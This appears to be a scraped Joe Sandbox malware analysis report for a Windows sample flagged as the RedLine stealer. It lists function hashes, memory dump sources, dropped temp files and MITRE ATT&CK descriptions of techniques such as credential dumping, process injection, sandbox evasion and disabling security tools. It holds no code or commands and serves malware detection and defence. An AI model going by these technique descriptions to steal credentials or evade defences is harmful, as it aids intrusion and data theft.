API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 2d3917436bf6717890957432fe979adc6c1fa226fa1dbbfade104b25cb8a1676
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 3611D075504344CFCB01CF20C5C4B25BF72FB88318F24C6AADA498B256C33AD81ACB62

Function 008FD2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820925450.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 4f86e9515c701877fcf7ec50fb93257e40d0b2f5efdaad531ede2468e5aafbf0
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: E2119375504244CFDB11CF14D5C4B29FB62FB84314F24C5AADA494B756C33AD446CB92

Function 008EDA91 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820895931.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c185293f7c42eceade4d7c833c59c2268680083bb8b5208bc9e4b01fb254d9
Instruction ID: 85306a63c57623dc3431113f5c2377c11d1d4de31b5a1e0e14325ab05af1493f
Opcode Fuzzy Hash: a2c185293f7c42eceade4d7c833c59c2268680083bb8b5208bc9e4b01fb254d9
Instruction Fuzzy Hash: 2901A73110D3949EE7108A1BC984767BF98FF42324F18C579ED098B286C279D944C671

Function 008EDA90 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820895931.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7bfd8f294731be6e32e5791f8eb94b2592f23b40a15d709ea6bbd2a2b9f83e4
Instruction ID: 9a4e6e0f9245118a0c521d5b2f722f35985d4e20a4f82a8dbe04c8f19160fcae
Opcode Fuzzy Hash: e7bfd8f294731be6e32e5791f8eb94b2592f23b40a15d709ea6bbd2a2b9f83e4
Instruction Fuzzy Hash: 42F06271509384AEE7108A1AC9C4B67FFA8EB51734F18C55AED489F286C2799C44CA71

Non-executed Functions

Function 0094DC90 Relevance: 1.6, Strings: 1, Instructions: 373COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0094DDA4

Memory Dump Source

Source File: 00000000.00000002.1821080611.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 4af0fa4b73f87e1b7c7d34cf4e521f9f5a5e51c900e66d2e2f5379f4ae203d41
Instruction ID: 5dacdfbea6d405804341ab3cef44c947aca8829b5f30ebd3408c1600a0bf43e1
Opcode Fuzzy Hash: 4af0fa4b73f87e1b7c7d34cf4e521f9f5a5e51c900e66d2e2f5379f4ae203d41
Instruction Fuzzy Hash: E8D17C38B002459FDB14EB79D454A6EBBFAFF89300B1484A9E905DB3A5DB34DD02CB91

Function 05F80D50 Relevance: 10.3, Strings: 8, Instructions: 295COMMON

Download Yara Rule

Strings

$^q, xrefs: 05F80F00
$^q, xrefs: 05F80F82
$^q, xrefs: 05F80F50
$^q, xrefs: 05F80DCC
$^q, xrefs: 05F80E42
$^q, xrefs: 05F80F76
$^q, xrefs: 05F80E4E
$^q, xrefs: 05F80E1C

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 4ae2e3d597b9c76b5e83f9e80091ee631d93b1635bd7be761a2db022a2a0e862
Instruction ID: 9f52633b1acc48a797d1e67808bad6b26d728e140a25f7581b520952bc7cae1e
Opcode Fuzzy Hash: 4ae2e3d597b9c76b5e83f9e80091ee631d93b1635bd7be761a2db022a2a0e862
Instruction Fuzzy Hash: DBB18E31B002059FDB14EB69C958ABEBBFABF84200B54846AE506DB3A5CF39DC458B51

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Temp\tmp3035.tmp

C:\Users\user\AppData\Local\Temp\tmp3045.tmp

C:\Users\user\AppData\Local\Temp\tmp3056.tmp

C:\Users\user\AppData\Local\Temp\tmp3067.tmp

C:\Users\user\AppData\Local\Temp\tmp3087.tmp

C:\Users\user\AppData\Local\Temp\tmp3097.tmp

C:\Users\user\AppData\Local\Temp\tmp30A8.tmp

C:\Users\user\AppData\Local\Temp\tmp5469.tmp

C:\Users\user\AppData\Local\Temp\tmp546A.tmp

C:\Users\user\AppData\Local\Temp\tmp546B.tmp

C:\Users\user\AppData\Local\Temp\tmp547B.tmp

C:\Users\user\AppData\Local\Temp\tmp6621.tmp

C:\Users\user\AppData\Local\Temp\tmp6631.tmp

C:\Users\user\AppData\Local\Temp\tmp6642.tmp

C:\Users\user\AppData\Local\Temp\tmp6652.tmp

Windows Analysis Report
file.exe

Function 05F3DA30 Relevance: 13.2, Strings: 10, Instructions: 692
COMMON

Function 05F33720 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON